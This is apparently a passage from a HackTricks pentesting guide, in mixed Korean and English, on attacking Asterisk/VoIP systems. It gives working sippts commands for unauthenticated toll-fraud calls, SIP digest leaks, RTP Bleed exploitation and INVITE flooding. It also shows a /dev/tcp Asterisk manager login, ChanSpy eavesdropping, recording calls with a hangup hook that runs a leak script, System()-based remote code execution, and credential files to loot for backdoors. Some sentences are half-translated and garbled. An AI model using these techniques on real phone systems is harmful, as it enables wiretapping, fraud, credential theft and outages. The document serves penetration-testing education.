  • SIPPTS invite from sippts: SIPPTS inviteλŠ” PBX μ„œλ²„κ°€ 인증 없이 μ „ν™”λ₯Ό κ±Έ 수 μžˆλ„λ‘ ν—ˆμš©ν•˜λŠ”μ§€ ν™•μΈν•©λ‹ˆλ‹€. SIP μ„œλ²„μ˜ ꡬ성이 잘λͺ»λœ 경우, μ™ΈλΆ€ 번호둜 μ „ν™”λ₯Ό κ±Έ 수 μžˆλ„λ‘ ν—ˆμš©ν•©λ‹ˆλ‹€. λ˜ν•œ 두 번째 μ™ΈλΆ€ 번호둜 μ „ν™”λ₯Ό μ „ν™˜ν•  수 μžˆλ„λ‘ ν—ˆμš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

예λ₯Ό λ“€μ–΄, Asterisk μ„œλ²„μ— 잘λͺ»λœ μ»¨ν…μŠ€νŠΈ ꡬ성이 μžˆλŠ” 경우, 인증 없이 INVITE μš”μ²­μ„ μˆ˜λ½ν•  수 μžˆμŠ΅λ‹ˆλ‹€. 이 경우, κ³΅κ²©μžλŠ” μ‚¬μš©μž/λΉ„λ°€λ²ˆν˜Έλ₯Ό μ•Œμ§€ λͺ»ν•˜κ³ λ„ μ „ν™”λ₯Ό κ±Έ 수 μžˆμŠ΅λ‹ˆλ‹€.

# Trying to make a call to the number 555555555 (without auth) with source number 200.
sippts invite -i  10.10.0.10 -fu 200 -tu 555555555 -v

# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444

무료 톡화 / 잘λͺ» κ΅¬μ„±λœ IVRS

IVRSλŠ” Interactive Voice Response System의 μ•½μžλ‘œ, μ‚¬μš©μžκ°€ μŒμ„± λ˜λŠ” ν„°μΉ˜ν†€ μž…λ ₯을 톡해 μ»΄ν“¨ν„°ν™”λœ μ‹œμŠ€ν…œκ³Ό μƒν˜Έμž‘μš©ν•  수 있게 ν•΄μ£ΌλŠ” μ „ν™” κΈ°μˆ μž…λ‹ˆλ‹€. IVRSλŠ” 정보λ₯Ό μ œκ³΅ν•˜κ³ , μ „ν™”λ₯Ό λΌμš°νŒ…ν•˜λ©°, μ‚¬μš©μž μž…λ ₯을 μΊ‘μ²˜ν•˜λŠ” λ“± λ‹€μ–‘ν•œ κΈ°λŠ₯을 μ œκ³΅ν•˜λŠ” μžλ™ν™”λœ 톡화 처리 μ‹œμŠ€ν…œμ„ κ΅¬μΆ•ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€.

VoIP μ‹œμŠ€ν…œμ˜ IVRSλŠ” 일반적으둜 λ‹€μŒμœΌλ‘œ κ΅¬μ„±λ©λ‹ˆλ‹€:

  1. μŒμ„± ν”„λ‘¬ν”„νŠΈ: μ‚¬μš©μžκ°€ IVR 메뉴 μ˜΅μ…˜ 및 지침을 μ•ˆλ‚΄λ°›μ„ 수 μžˆλ„λ‘ ν•˜λŠ” 미리 λ…ΉμŒλœ μ˜€λ””μ˜€ λ©”μ‹œμ§€.
  2. DTMF (Dual-Tone Multi-Frequency) μ‹ ν˜Έ: μ „ν™” ν‚€λ₯Ό 눌러 μƒμ„±λœ ν„°μΉ˜ν†€ μž…λ ₯으둜, IVR 메뉴λ₯Ό νƒμƒ‰ν•˜κ³  μž…λ ₯을 μ œκ³΅ν•˜λŠ” 데 μ‚¬μš©λ©λ‹ˆλ‹€.
  3. 톡화 λΌμš°νŒ…: μ‚¬μš©μž μž…λ ₯에 따라 νŠΉμ • λΆ€μ„œ, 상담원 λ˜λŠ” λ‚΄μ„ μœΌλ‘œ μ „ν™”λ₯Ό μ μ ˆν•œ λͺ©μ μ§€λ‘œ μ•ˆλ‚΄ν•©λ‹ˆλ‹€.
  4. μ‚¬μš©μž μž…λ ₯ 캑처: λ°œμ‹ μžλ‘œλΆ€ν„° κ³„μ’Œ 번호, 사건 ID λ˜λŠ” 기타 κ΄€λ ¨ 데이터λ₯Ό μˆ˜μ§‘ν•©λ‹ˆλ‹€.
  5. μ™ΈλΆ€ μ‹œμŠ€ν…œκ³Όμ˜ 톡합: IVR μ‹œμŠ€ν…œμ„ λ°μ΄ν„°λ² μ΄μŠ€λ‚˜ λ‹€λ₯Έ μ†Œν”„νŠΈμ›¨μ–΄ μ‹œμŠ€ν…œμ— μ—°κ²°ν•˜μ—¬ 정보λ₯Ό μ•‘μ„ΈμŠ€ν•˜κ±°λ‚˜ μ—…λ°μ΄νŠΈν•˜κ³ , μž‘μ—…μ„ μˆ˜ν–‰ν•˜κ±°λ‚˜ 이벀트λ₯Ό νŠΈλ¦¬κ±°ν•©λ‹ˆλ‹€.

Asterisk VoIP μ‹œμŠ€ν…œμ—μ„œλŠ” 닀이얼 ν”Œλžœ (extensions.conf 파일)κ³Ό Background(), Playback(), Read() λ“±μ˜ λ‹€μ–‘ν•œ μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ„ μ‚¬μš©ν•˜μ—¬ IVR을 생성할 수 μžˆμŠ΅λ‹ˆλ‹€. μ΄λŸ¬ν•œ μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ€ μŒμ„± ν”„λ‘¬ν”„νŠΈλ₯Ό μž¬μƒν•˜κ³ , μ‚¬μš©μž μž…λ ₯을 μΊ‘μ²˜ν•˜λ©°, 톡화 흐름을 μ œμ–΄ν•˜λŠ” 데 도움을 μ€λ‹ˆλ‹€.

μ·¨μ•½ν•œ κ΅¬μ„±μ˜ 예

exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})

이전 μ˜ˆμ‹œλŠ” μ‚¬μš©μžκ°€ λΆ€μ„œλ₯Ό ν˜ΈμΆœν•˜κΈ° μœ„ν•΄ 1을 λˆ„λ₯΄κ±°λ‚˜, λ‹€λ₯Έ λΆ€μ„œλ₯Ό ν˜ΈμΆœν•˜κΈ° μœ„ν•΄ 2λ₯Ό λˆ„λ₯΄κ±°λ‚˜, μ•Œκ³  μžˆλŠ” 전체 λ‚΄μ„  번호λ₯Ό μž…λ ₯ν•˜λ„λ‘ μš”μ²­λ°›λŠ” κ²½μš°μž…λ‹ˆλ‹€.
취약점은 μ§€μ •λœ λ‚΄μ„  길이가 ν™•μΈλ˜μ§€ μ•ŠκΈ° λ•Œλ¬Έμ— μ‚¬μš©μžκ°€ 5초 νƒ€μž„μ•„μ›ƒμ„ μž…λ ₯ν•˜μ—¬ 전체 번호λ₯Ό μž…λ ₯ν•  수 있고, 호좜될 수 μžˆλ‹€λŠ” μ μž…λ‹ˆλ‹€.

Extension Injection

λ‹€μŒκ³Ό 같은 내선을 μ‚¬μš©ν•˜μ—¬:

exten => _X.,1,Dial(SIP/${EXTEN})

μ—¬κΈ°μ„œ **${EXTEN}**은 호좜될 내선이며, ext 101이 λ„μž…λ˜λ©΄ λ‹€μŒκ³Ό 같은 일이 λ°œμƒν•©λ‹ˆλ‹€:

exten => 101,1,Dial(SIP/101)

κ·ΈλŸ¬λ‚˜ **${EXTEN}**이 숫자 μ΄μ™Έμ˜ 것을 μž…λ ₯ν•  수 있게 ν—ˆμš©ν•œλ‹€λ©΄(ꡬ버전 Asterisk와 같이), κ³΅κ²©μžλŠ” **101&SIP123123123**을 μž…λ ₯ν•˜μ—¬ μ „ν™”λ²ˆν˜Έ 123123123으둜 μ „ν™”λ₯Ό κ±Έ 수 μžˆμŠ΅λ‹ˆλ‹€. 그리고 κ·Έ κ²°κ³ΌλŠ” λ‹€μŒκ³Ό κ°™μŠ΅λ‹ˆλ‹€:

exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)

λ”°λΌμ„œ 101 및 **123123123**으둜의 호좜이 μ „μ†‘λ˜λ©°, 첫 번째 호좜만 μ—°κ²°λ©λ‹ˆλ‹€β€¦ κ·ΈλŸ¬λ‚˜ κ³΅κ²©μžκ°€ μ‘΄μž¬ν•˜μ§€ μ•ŠλŠ” 일치 ν•­λͺ©μ„ μš°νšŒν•˜λŠ” ν™•μž₯자λ₯Ό μ‚¬μš©ν•˜λ©΄, κ·ΈλŠ” μ›ν•˜λŠ” 번호둜만 μ „ν™”λ₯Ό μ£Όμž…ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

SIPDigestLeak 취약점

SIP Digest LeakλŠ” ν•˜λ“œμ›¨μ–΄ 및 μ†Œν”„νŠΈμ›¨μ–΄ IP 전화와 μ „ν™” μ–΄λŒ‘ν„°(VoIPμ—μ„œ μ•„λ‚ λ‘œκ·Έλ‘œ) λ“± λ§Žμ€ SIP 전화에 영ν–₯을 λ―ΈμΉ˜λŠ” μ·¨μ•½μ μž…λ‹ˆλ‹€. 이 취약점은 λΉ„λ°€λ²ˆν˜Έλ‘œλΆ€ν„° κ³„μ‚°λœ Digest 인증 μ‘λ‹΅μ˜ μœ μΆœμ„ ν—ˆμš©ν•©λ‹ˆλ‹€. μ˜€ν”„λΌμΈ λΉ„λ°€λ²ˆν˜Έ 곡격이 κ°€λŠ₯ν•˜λ©°, μ±Œλ¦°μ§€ 응닡을 기반으둜 λŒ€λΆ€λΆ„μ˜ λΉ„λ°€λ²ˆν˜Έλ₯Ό 볡ꡬ할 수 μžˆμŠ΅λ‹ˆλ‹€.

**μ—¬κΈ°μ„œ 취약점 μ‹œλ‚˜λ¦¬μ˜€**:

  1. IP μ „ν™”(ν”Όν•΄μž)λŠ” λͺ¨λ“  포트(예: 5060)μ—μ„œ μ „ν™”λ₯Ό μˆ˜μ‹  λŒ€κΈ° μ€‘μž…λ‹ˆλ‹€.
  2. κ³΅κ²©μžκ°€ IP 전화에 INVITEλ₯Ό λ³΄λƒ…λ‹ˆλ‹€.
  3. ν”Όν•΄μž μ „ν™”κ°€ 울리기 μ‹œμž‘ν•˜κ³  λˆ„κ΅°κ°€ μ „ν™”λ₯Ό λ°›κ³  λŠμŠ΅λ‹ˆλ‹€(μƒλŒ€λ°©μ΄ μ „ν™”λ₯Ό λ°›μ§€ μ•ŠκΈ° λ•Œλ¬Έμ—).
  4. μ „ν™”κ°€ λŠμ–΄μ§€λ©΄ ν”Όν•΄μž μ „ν™”κ°€ κ³΅κ²©μžμ—κ²Œ BYEλ₯Ό λ³΄λƒ…λ‹ˆλ‹€.
  5. κ³΅κ²©μžκ°€ 407 응닡을 λ°œν–‰ν•˜μ—¬ 인증을 μš”μ²­ν•˜κ³  인증 μ±Œλ¦°μ§€λ₯Ό λ°œν–‰ν•©λ‹ˆλ‹€.
  6. ν”Όν•΄μž μ „ν™”κ°€ 두 번째 BYEμ—μ„œ 인증 μ±Œλ¦°μ§€μ— λŒ€ν•œ 응닡을 μ œκ³΅ν•©λ‹ˆλ‹€.
  7. κ³΅κ²©μžλŠ” μžμ‹ μ˜ 둜컬 λ¨Έμ‹ (λ˜λŠ” λΆ„μ‚° λ„€νŠΈμ›Œν¬ λ“±)μ—μ„œ μ±Œλ¦°μ§€ 응닡에 λŒ€ν•œ 무차별 λŒ€μž… 곡격을 μˆ˜ν–‰ν•  수 있으며 λΉ„λ°€λ²ˆν˜Έλ₯Ό μΆ”μΈ‘ν•  수 μžˆμŠ΅λ‹ˆλ‹€.
  • SIPPTS 유좜 sippts: SIPPTS μœ μΆœμ€ λ§Žμ€ SIP 전화에 영ν–₯을 λ―ΈμΉ˜λŠ” SIP Digest Leak 취약점을 μ•…μš©ν•©λ‹ˆλ‹€. 좜λ ₯은 SipCrack ν˜•μ‹μœΌλ‘œ μ €μž₯λ˜μ–΄ SIPPTS dcrack λ˜λŠ” SipCrack 도ꡬλ₯Ό μ‚¬μš©ν•˜μ—¬ 무차별 λŒ€μž… 곡격을 μˆ˜ν–‰ν•  수 μžˆμŠ΅λ‹ˆλ‹€.
sippts leak -i 10.10.0.10

[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100

[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok

Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5

Click2Call

Click2Call은 μ›Ή μ‚¬μš©μžκ°€ (예λ₯Ό λ“€μ–΄, μ œν’ˆμ— 관심이 μžˆμ„ 수 μžˆλŠ”) μ „ν™”λ²ˆν˜Έλ₯Ό μž…λ ₯ν•˜μ—¬ μ „ν™”λ₯Ό 받을 수 μžˆλ„λ‘ ν•©λ‹ˆλ‹€. 그러면 상업적인 μ „ν™”κ°€ 걸리고, μ‚¬μš©μžκ°€ μ „ν™”λ₯Ό λ°›μœΌλ©΄ 상담원과 μ—°κ²°λ©λ‹ˆλ‹€.

이와 κ΄€λ ¨λœ 일반적인 Asterisk ν”„λ‘œν•„μ€:

[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
  • 이전 ν”„λ‘œν•„μ€ λͺ¨λ“  IP μ£Όμ†Œκ°€ μ—°κ²°ν•  수 μžˆλ„λ‘ ν—ˆμš©ν•˜κ³  μžˆμŠ΅λ‹ˆλ‹€ (λΉ„λ°€λ²ˆν˜Έκ°€ μ•Œλ €μ§„ 경우).
  • 이전에 λͺ…μ‹œλœ λŒ€λ‘œ μ „ν™”λ₯Ό μ‘°μ§ν•˜κΈ° μœ„ν•΄λŠ” 읽기 κΆŒν•œμ΄ ν•„μš”ν•˜μ§€ μ•ŠμœΌλ©° 였직 μ“°κΈ°μ—μ„œ λ°œμ‹ λ§Œ ν•„μš”ν•©λ‹ˆλ‹€.

μ΄λŸ¬ν•œ κΆŒν•œμœΌλ‘œ λΉ„λ°€λ²ˆν˜Έλ₯Ό μ•„λŠ” λͺ¨λ“  IPκ°€ μ—°κ²°ν•˜μ—¬ λ„ˆλ¬΄ λ§Žμ€ 정보λ₯Ό μΆ”μΆœν•  수 μžˆμŠ΅λ‹ˆλ‹€, 예λ₯Ό λ“€μ–΄:

# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3

더 λ§Žμ€ μ •λ³΄λ‚˜ 쑰치λ₯Ό μš”μ²­ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

도청

Asteriskμ—μ„œλŠ” **λͺ¨λ‹ˆν„°λ§ν•  ν™•μž₯(λ“€)**을 μ§€μ •ν•˜μ—¬ λŒ€ν™”λ₯Ό 듀을 수 μžˆλŠ” ChanSpy λͺ…령을 μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€. 이 λͺ…령은 ν™•μž₯에 ν• λ‹Ήλ˜μ–΄μ•Ό ν•©λ‹ˆλ‹€.

예λ₯Ό λ“€μ–΄, exten => 333,1,ChanSpy('all',qb)λŠ” ν™•μž₯ 333으둜 μ „ν™”λ₯Ό κ±Έλ©΄ λͺ¨λ“  ν™•μž₯을 λͺ¨λ‹ˆν„°λ§ν•˜κ³ , μƒˆλ‘œμš΄ λŒ€ν™”κ°€ μ‹œμž‘λ  λ•Œλ§ˆλ‹€ (b) μ‘°μš©ν•œ λͺ¨λ“œ(q)둜 λ“£κΈ° μ‹œμž‘ν•¨μ„ λ‚˜νƒ€λƒ…λ‹ˆλ‹€. μš°λ¦¬λŠ” κ·Έ λŒ€ν™”μ— κ°œμž…ν•˜κ³  μ‹Άμ§€ μ•ŠκΈ° λ•Œλ¬Έμž…λ‹ˆλ‹€. *****λ₯Ό λˆŒλŸ¬μ„œ λ˜λŠ” ν™•μž₯ 번호λ₯Ό μž…λ ₯ν•˜μ—¬ ν•œ λŒ€ν™”μ—μ„œ λ‹€λ₯Έ λŒ€ν™”λ‘œ 이동할 수 μžˆμŠ΅λ‹ˆλ‹€.

ν•˜λ‚˜μ˜ ν™•μž₯만 λͺ¨λ‹ˆν„°λ§ν•˜λ €λ©΄ **ExtenSpy**λ₯Ό μ‚¬μš©ν•  μˆ˜λ„ μžˆμŠ΅λ‹ˆλ‹€.

λŒ€ν™”λ₯Ό λ“£λŠ” λŒ€μ‹ , λ‹€μŒκ³Ό 같은 ν™•μž₯을 μ‚¬μš©ν•˜μ—¬ νŒŒμΌμ— 기둝할 수 μžˆμŠ΅λ‹ˆλ‹€:

[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})

ν†΅ν™”λŠ” **/tmp**에 μ €μž₯λ©λ‹ˆλ‹€.

Asteriskκ°€ μ’…λ£Œλ  λ•Œ 톡화λ₯Ό μœ μΆœν•˜λŠ” 슀크립트λ₯Ό μ‹€ν–‰ν•˜λ„λ‘ λ§Œλ“€ μˆ˜λ„ μžˆμŠ΅λ‹ˆλ‹€.

exten => h,1,System(/tmp/leak_conv.sh &)

RTCPBleed 취약점

RTCPBleedλŠ” Asterisk 기반 VoIP μ„œλ²„μ— 영ν–₯을 λ―ΈμΉ˜λŠ” μ£Όμš” λ³΄μ•ˆ λ¬Έμ œμž…λ‹ˆλ‹€(2017년에 λ°œν‘œλ¨). 이 취약점은 VoIP λŒ€ν™”λ₯Ό μ „λ‹¬ν•˜λŠ” RTP(Real Time Protocol) νŠΈλž˜ν”½μ΄ μΈν„°λ„·μ˜ λˆ„κ΅¬μ— μ˜ν•΄ κ°€λ‘œμ±„μ§€κ³  λ¦¬λ””λ ‰μ…˜λ  수 μžˆλ„λ‘ ν—ˆμš©ν•©λ‹ˆλ‹€. μ΄λŠ” RTP νŠΈλž˜ν”½μ΄ NAT(λ„€νŠΈμ›Œν¬ μ£Όμ†Œ λ³€ν™˜) 방화벽을 톡과할 λ•Œ 인증을 μš°νšŒν•˜κΈ° λ•Œλ¬Έμ— λ°œμƒν•©λ‹ˆλ‹€.

RTP ν”„λ‘μ‹œλŠ” 두 개 μ΄μƒμ˜ λ‹Ήμ‚¬μž κ°„μ˜ RTP μŠ€νŠΈλ¦Όμ„ ν”„λ‘μ‹œν•˜μ—¬ RTC μ‹œμŠ€ν…œμ— 영ν–₯을 λ―ΈμΉ˜λŠ” NAT μ œν•œμ„ ν•΄κ²°ν•˜λ €κ³  ν•©λ‹ˆλ‹€. NATκ°€ μžˆλŠ” 경우, RTP ν”„λ‘μ‹œ μ†Œν”„νŠΈμ›¨μ–΄λŠ” μ’…μ’… μ‹ ν˜Έλ₯Ό 톡해 κ²€μƒ‰λœ RTP IP 및 포트 정보λ₯Ό μ‹ λ’°ν•  수 μ—†μŠ΅λ‹ˆλ‹€(예: SIP). λ”°λΌμ„œ μ—¬λŸ¬ RTP ν”„λ‘μ‹œκ°€ IP 및 포트 νŠœν”Œμ„ μžλ™μœΌλ‘œ ν•™μŠ΅ν•˜λŠ” λ©”μ»€λ‹ˆμ¦˜μ„ κ΅¬ν˜„ν–ˆμŠ΅λ‹ˆλ‹€. μ΄λŠ” μ’…μ’… λ“€μ–΄μ˜€λŠ” RTP νŠΈλž˜ν”½μ„ κ²€μ‚¬ν•˜κ³  λ“€μ–΄μ˜€λŠ” RTP νŠΈλž˜ν”½μ˜ 좜처 IP 및 포트λ₯Ό 응닡해야 ν•  κ²ƒμœΌλ‘œ ν‘œμ‹œν•˜λŠ” λ°©μ‹μœΌλ‘œ μˆ˜ν–‰λ©λ‹ˆλ‹€. 이 λ©”μ»€λ‹ˆμ¦˜μ€ β€œν•™μŠ΅ λͺ¨λ“œβ€œλΌκ³  뢈릴 수 있으며, μ–΄λ– ν•œ μ’…λ₯˜μ˜ 인증도 μ‚¬μš©ν•˜μ§€ μ•ŠμŠ΅λ‹ˆλ‹€. λ”°λΌμ„œ κ³΅κ²©μžλŠ” RTP ν”„λ‘μ‹œλ‘œ RTP νŠΈλž˜ν”½μ„ μ „μ†‘ν•˜κ³  μ§„ν–‰ 쀑인 RTP 슀트림의 λ°œμ‹ μž λ˜λŠ” μˆ˜μ‹ μžλ₯Ό μœ„ν•΄ μ˜λ„λœ ν”„λ‘μ‹œ RTP νŠΈλž˜ν”½μ„ 받을 수 μžˆμŠ΅λ‹ˆλ‹€. 이 취약점을 RTP Bleed라고 λΆ€λ₯΄λŠ” μ΄μœ λŠ” κ³΅κ²©μžκ°€ 합법적인 μ‚¬μš©μžμ—κ²Œ 전솑될 RTP λ―Έλ””μ–΄ μŠ€νŠΈλ¦Όμ„ μˆ˜μ‹ ν•  수 있게 ν•΄μ£ΌκΈ° λ•Œλ¬Έμž…λ‹ˆλ‹€.

RTP ν”„λ‘μ‹œμ™€ RTP μŠ€νƒμ˜ 또 λ‹€λ₯Έ ν₯미둜운 λ™μž‘μ€ λ•Œλ•Œλ‘œ RTP Bleed에 μ·¨μ•½ν•˜μ§€ μ•Šλ”λΌλ„ λͺ¨λ“  좜처의 RTP νŒ¨ν‚·μ„ 수락, 전달 및/λ˜λŠ” μ²˜λ¦¬ν•œλ‹€λŠ” κ²ƒμž…λ‹ˆλ‹€. λ”°λΌμ„œ κ³΅κ²©μžλŠ” 합법적인 λ―Έλ””μ–΄ λŒ€μ‹  μžμ‹ μ˜ λ―Έλ””μ–΄λ₯Ό μ£Όμž…ν•  수 μžˆλŠ” RTP νŒ¨ν‚·μ„ 보낼 수 μžˆμŠ΅λ‹ˆλ‹€. 이 곡격을 RTP μ£Όμž…μ΄λΌκ³  λΆ€λ₯΄λ©°, μ΄λŠ” κΈ°μ‘΄ RTP μŠ€νŠΈλ¦Όμ— λΆˆλ²•μ μΈ RTP νŒ¨ν‚·μ„ μ£Όμž…ν•  수 있게 ν•΄μ€λ‹ˆλ‹€. 이 취약점은 RTP ν”„λ‘μ‹œμ™€ μ—”λ“œν¬μΈνŠΈ λͺ¨λ‘μ—μ„œ 발견될 수 μžˆμŠ΅λ‹ˆλ‹€.

Asterisk와 FreePBXλŠ” μ „ν†΅μ μœΌλ‘œ NAT=yes 섀정을 μ‚¬μš©ν•˜μ—¬ RTP νŠΈλž˜ν”½μ΄ 인증을 μš°νšŒν•˜λ„λ‘ ν•˜μ—¬ ν†΅ν™”μ—μ„œ μ˜€λ””μ˜€κ°€ μ—†κ±°λ‚˜ 일방ν–₯ μ˜€λ””μ˜€κ°€ λ°œμƒν•  수 μžˆμŠ΅λ‹ˆλ‹€.

μžμ„Έν•œ μ •λ³΄λŠ” https://www.rtpbleed.com/λ₯Ό ν™•μΈν•˜μ„Έμš”.

  • SIPPTS rtpbleed from sippts: SIPPTS rtpbleedλŠ” RTP μŠ€νŠΈλ¦Όμ„ μ „μ†‘ν•˜μ—¬ RTP Bleed 취약점을 κ°μ§€ν•©λ‹ˆλ‹€.
sippts rtpbleed -i 10.10.0.10
  • SIPPTS rtcpbleed from sippts: SIPPTS rtcpbleedλŠ” RTCP μŠ€νŠΈλ¦Όμ„ μ „μ†‘ν•˜μ—¬ RTP Bleed 취약점을 κ°μ§€ν•©λ‹ˆλ‹€.
sippts rtcpbleed -i 10.10.0.10
  • SIPPTS rtpbleedflood from sippts: SIPPTS rtpbleedfloodλŠ” RTP μŠ€νŠΈλ¦Όμ„ μ „μ†‘ν•˜μ—¬ RTP Bleed 취약점을 μ•…μš©ν•©λ‹ˆλ‹€.
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
  • SIPPTS rtpbleedinject from sippts: SIPPTS rtpbleedinjectλŠ” μ˜€λ””μ˜€ 파일(WAV ν˜•μ‹)을 μ£Όμž…ν•˜μ—¬ RTP Bleed 취약점을 μ•…μš©ν•©λ‹ˆλ‹€.
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav

RCE

Asteriskμ—μ„œ ν™•μž₯ κ·œμΉ™μ„ μΆ”κ°€ν•˜κ³  이λ₯Ό λ‹€μ‹œ λ‘œλ“œν•˜λŠ” 방법을 somehow 관리할 수 μžˆλ‹€λ©΄(예: μ·¨μ•½ν•œ μ›Ή κ΄€λ¦¬μž μ„œλ²„λ₯Ό νƒ€κ²ŸμœΌλ‘œ μ‚Όμ•„), System λͺ…령을 μ‚¬μš©ν•˜μ—¬ RCEλ₯Ό μ–»λŠ” 것이 κ°€λŠ₯ν•©λ‹ˆλ‹€.

same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)

There is command called Shell that could be used instead of System to execute system commands if necessary.

Warning

If the server is νŠΉμ • 문자의 μ‚¬μš©μ„ ν—ˆμš©ν•˜μ§€ μ•ŠλŠ” 경우 in the System command (like in Elastix), check if the web server allows to μ‹œμŠ€ν…œ λ‚΄μ—μ„œ νŒŒμΌμ„ 생성할 수 μžˆλŠ”μ§€ 확인 (like in Elastix or trixbox), and use it to 백도어 슀크립트λ₯Ό μƒμ„±ν•˜κ³  then use System to μ‹€ν–‰ that 슀크립트.

Interesting local files and permissions

  • sip.conf -> Contains the password of SIP users.
  • If the Asterisk server is running as root, you could compromise root
  • mysql root user might λΉ„λ°€λ²ˆν˜Έκ°€ 없을 수 μžˆμŠ΅λ‹ˆλ‹€.
  • this could be used to create a new mysql user as backdoor
  • FreePBX
  • amportal.conf -> Contains the password of the web panel administrator (FreePBX)
  • FreePBX.conf -> Constains the password of the user FreePBXuser used to access the database
  • this could be used to create a new mysql user as backdoor
  • Elastix
  • Elastix.conf -> Contains several passwords in clear text like mysql root pass, IMAPd pass, web admin pass
  • μ—¬λŸ¬ 폴더 will belong to the compromised asterisk user (if not running as root). This user can read the previous files and also controls the configuration, so he could make Asterisk to load other backdoored binaries when executed.

RTP Injection

It’s possible to insert a .wav in converstions using tools such as rtpinsertsound (sudo apt install rtpinsertsound) and rtpmixsound (sudo apt install rtpmixsound).

Or you could use the scripts from http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/ to λŒ€ν™” μŠ€μΊ” (rtpscan.pl), send a .wav to a conversation (rtpsend.pl) and λŒ€ν™”μ— μ†ŒμŒ μ‚½μž… (rtpflood.pl).

DoS

There are several ways to try to achieve DoS in VoIP servers.

  • SIPPTS flood from sippts**: SIPPTS flood sends unlimited messages to the target.
  • sippts flood -i 10.10.0.10 -m invite -v
  • SIPPTS ping from sippts**: SIPPTS ping makes a SIP ping to see the server response time.
  • sippts ping -i 10.10.0.10
  • IAXFlooder: DoS IAX protocol used by Asterisk
  • inviteflood: A tool to perform SIP/SDP INVITE message flooding over UDP/IP.
  • rtpflood: Send several well formed RTP packets. Its needed to know the RTP ports that are being used (sniff first).
  • SIPp: Allows to analyze and generate SIP traffic. so it can be used to DoS also.
  • SIPsak: SIP swiss army knife. Can also be used to perform SIP attacks.
  • Fuzzers: protos-sip, voiper.

OS Vulnerabilities

The easiest way to install a software such as Asterisk is to download an OS distribution that has it already installed, such as: FreePBX, Elastix, Trixbox… The problem with those is that once it’s working sysadmins might λ‹€μ‹œ μ—…λ°μ΄νŠΈν•˜μ§€ μ•Šμ„ 수 μžˆμŠ΅λ‹ˆλ‹€ and 취약점 are going to be discovered with time.

References

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°